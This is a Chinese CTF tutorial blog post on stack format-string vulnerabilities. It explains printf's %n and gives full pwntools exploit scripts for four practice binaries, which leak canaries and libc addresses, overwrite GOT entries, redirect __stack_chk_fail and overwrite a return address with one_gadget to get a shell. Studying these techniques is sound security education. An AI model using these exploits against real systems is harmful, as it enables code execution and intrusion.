栈上格式化字符串漏洞

栈上格式化字符串漏洞泄露内存

%c为单个字符形式

%s为多个字符形式

%d为数字形式

%f是转为浮点型

%x是转为十六进制形式,不带0x

%p是转为十六进制,但是带0x

%n 将%n之前打印出来的字符的个数存入到参数中

先了解一下printf函数

printf函数的格式化字符串常见的有 %d,%f,%c,%s,%x(输出16进制数,前面没有0x),%p(输出16进制数,前面带有0x)等等。
但是有个不常见的格式化字符串 %n ,它的功能是将%n之前打印出来的字符个数,赋值给一个变量。和利用该漏洞的重要 格式化字符串%n,利用他可以做到任意内存写入

明显前者没有问题,后者不规定打印类型而存在格式化字符串漏洞。

我们看个例题

这个例题不只是格式化字符串漏洞

因为它还开了canary如果兄弟们还不明白canary的作用可以点开小编的主页,有详细的解答关于canary。

开始代码审计:输入数为v4与v6(canary)比较,相同就执行system,,所以我们就需要利用格式化字符串漏洞泄露canary,并发送过去就可以获取权限了

pwn中str()与p64()

当scanf的字符串是'%d'时,用str(0xfc1)会输入修改成功。

当scanf的字符串是'%s'时,用p64(0xfc1)会输入修改成功。

这里我们调试获偏移为11

根据调试可以获得canary地址:0x420b5e5bf79a0000

上代码

from pwn import *
from struct import pack
from ctypes import *
import base64
import gmpy2
def s(a):
    p.send(a)
def sla(a,b):
    p.sendafter(a,b)
def sl(a):
    p.sendline(a)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def bug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'],libc_base + next(libc.search(b'/bin/sh\x00'))
    
context(os='linux',arch='amd64',log_level='debug')
p= process('./pwn1')
elf=ELF('./pwn1')
def bug():
      gdb.attach(p)
      pause()
payload=b'%11$p'
s(payload)
rl('0x')
canary=int(p.recv(16),16)
print(hex(canary))
print(str(canary))

sl(str(canary))


p.interactive() 


 

栈上格式化字符串漏洞修改got表

可以看到存在格式化漏洞,我们知道system('$0')能够取得权限,看到这里是不是想到任意地址写的功能呢?将puts函数的plt表地址改为system函数的got表地址是不是就能获取权限了。

payload = fmtstr_payload(偏移,{要修改函数got:改成函数plt})

但我们注意到这道题是没有system函数的 可以用libc来得到system函数的真实地址,但我们只有一次读入,该怎么连续利用两次?我们可以先将puts改成main函数,之后利用延迟绑定去泄露libc_base并更改函数

^(* ̄(oo) ̄)^:偏移是6

 

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn2")
elf=ELF("./pwn2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
         gdb.attach(p)
         pause()    
payload=fmtstr_payload(6,{elf.got['puts']:elf.sym['main']})
bug()
p.sendline(payload)

payload2=b'%7$saaaa'+p64(elf.got['read'])
pause()
p.sendline(payload2)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))
system=libc_base+libc.sym['system']
pay=fmtstr_payload(6,{elf.got['puts']:system})
pause()
p.sendline(pay)

栈上格式化字符串漏洞修改stack_checkfail

例题3,将stack_checkfail改为one_gadget

进入fmt函数

one_gadget是libc中存在的一些执行execve("/bin/sh", NULL, NULL)的片段,当可以泄露libc地址,并且可以知道libc版本的时候,可以使用此方法来快速控制指令寄存器开启shell,前提是需要libc_base。stack checkfail函数是检测canary被修改后的退出函数,就是检测出不同的canary时跳转的函数,如果我们能够控制它可以快速取得shell

一般情况下我们使用第二个 

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn3")
elf=ELF("./pwn3")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

fmt=0x4011DD
pay1=fmtstr_payload(6,{elf.got['__stack_chk_fail']:elf.sym['main']})          
bug()
p.sendline(pay1)

pay2=(b'%7$saaaa'+p64(elf.got['read'])).ljust(0x50,b'\x00')#stack check fail是canary覆盖后才会出现,需要覆盖
pause()
p.sendline(pay2)
libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
print(hex(libc_base))
one_addr=libc_base+0xebcf5
pay3=fmtstr_payload(6,{elf.got['__stack_chk_fail']:one_addr})
pause()
p.send(pay3)
p.interactive()

栈上格式化字符串漏洞修改返回地址为one_gadget

 

 保护全开

 代码审计:有一次读入当读入是yes时通过比较,存在格式化字符串漏洞

出现两个打印流程

分别打印libc基址和栈基址

这时候可能有小伙伴疑惑为什么不用上个方法,用read覆盖stack_checkfail,不妨仔细看看就会发现read函数覆盖不到stack_checkfail。这怎么办呢?不妨将最后一个printf的返回地址改为one_gadget,话不多说上代码。

exp:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn4")
elf=ELF("./pwn4")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

p.recvuntil("lbs 6 or not 6")
pay=b'yes\x00'
p.send(pay)
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.sym['printf']
print(hex(libc_base))
p.recvuntil("0x")
ret_addr=int(p.recv(12),16)-8
one_addr=libc_base+0xebcf1
pay=fmtstr_payload(6,{ret_addr:one_addr})
p.send(pay)

p.interactive() 

 

  • 25
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值